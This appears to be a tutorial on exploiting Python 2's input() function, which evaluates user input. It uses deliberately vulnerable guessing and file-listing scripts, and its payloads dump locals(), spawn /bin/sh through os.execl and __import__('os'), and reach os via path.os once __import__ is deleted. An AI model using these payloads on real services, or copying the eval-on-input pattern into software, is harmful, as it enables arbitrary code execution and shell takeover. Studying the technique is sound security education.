Eval exploit




Python-Eval exploit


In Python, input(x) is equivalent to eval(raw_input(x)): it takes user input, and evaluates it as a Python expression



Ok hey wait !!!! Before diving into exploit lets learn the some prerequisites ....
Python uses what are called namespaces to keep track of variables. A namespace is just like a dictionary where the keys are names of variables and the dictionary values are the values of those variables.
In fact, you can access a namespace as a Python dictionary, as you'll see in a minute. locals() and globals() are bulitin functions which let us to access that dict

Ok next __import__() it is too a builtin function which let us to import any module in runtime

Another usefull module glob : glob.glob('*') would list all the files in that directory , glob.glob('.*') would result in all hidden files .

Part 1

# example1.py from random import randint num = randint(1,100) print "Guess the number! 1 to 100." while True: guess = input('Your guess> ') if guess != num: print "Nope,", guess, "is wrong." else: print "You win!" exit(0)

So by just giving num as input it evaluates value in it and assigns to guess & that's it !!!

$ python example1.py Guess the number! 1 to 100. Your guess> num You win!

Part 2

In part-1 we didn't find the num so to find it we can give 'print num' but it's not a valid expression it is a statment
if a py code began with an “import sys”, we could enter sys.stdout.write(str(num)) to get the value of num.
Else u can try str(num) to get o/p in error display

Part-3

Time to introduce a new tool: locals() and globals(). These built-in Python functions let you view and edit the local and global scope as dictionaries.

$ python ./example1.py Guess the number! 1 to 100. Your guess> locals() Nope, {'guess': {...}, 'randint': >, '__builtins__': , '__file__': './example1.py', '__package__': None, 'num': 35, '__name__': '__main__', '__doc__': None} is wrong. Your guess> 35 You win!

There's more sorts of introspection you can do in Python: vars, __dict__, func_globals and __subclasses__ come to mind.

Popping a shell

# example2.py import os print "What files do you want?" files = input('list> ') for name in files: if os.path.exists(name): with open(name) as f: print f.read() else: print name, "does not exist!"

The os.system pretty much just takes a string an runs it as a shell command

$ nc pyservice.example.com 1234 What files do you want? list> os.execl('/bin/sh','sh') sh-3.2$ echo "I have a shell." I have a shell. sh-3.2$ exit

__import__

One last thing to know about: scripts aren't safe just because they don't have import os anywhere, because we can import os ourselves! Consider the following example

# example3.py print "What files do you want?" files = input('list> ') for name in files: try: with open(name) as f: print f.read() except: print name, "does not exist!" $ python example3.py What files do you want? list> __import__('os').execl('/bin/sh','sh') sh-3.2$ echo 'I win again' I win again

Task 3

Ok some added protection by removing __import__ from bulitins


from os import path del __builtins__.__dict__['__import__'] del __builtins__.__dict__['reload'] ... print_description(input('> '))

Ok fortunately the path package have os sub-module

>>> from os import path >>> dir(path) ['__all__', '__builtins__',...,'os'] path.os.execlp('sh','sh') $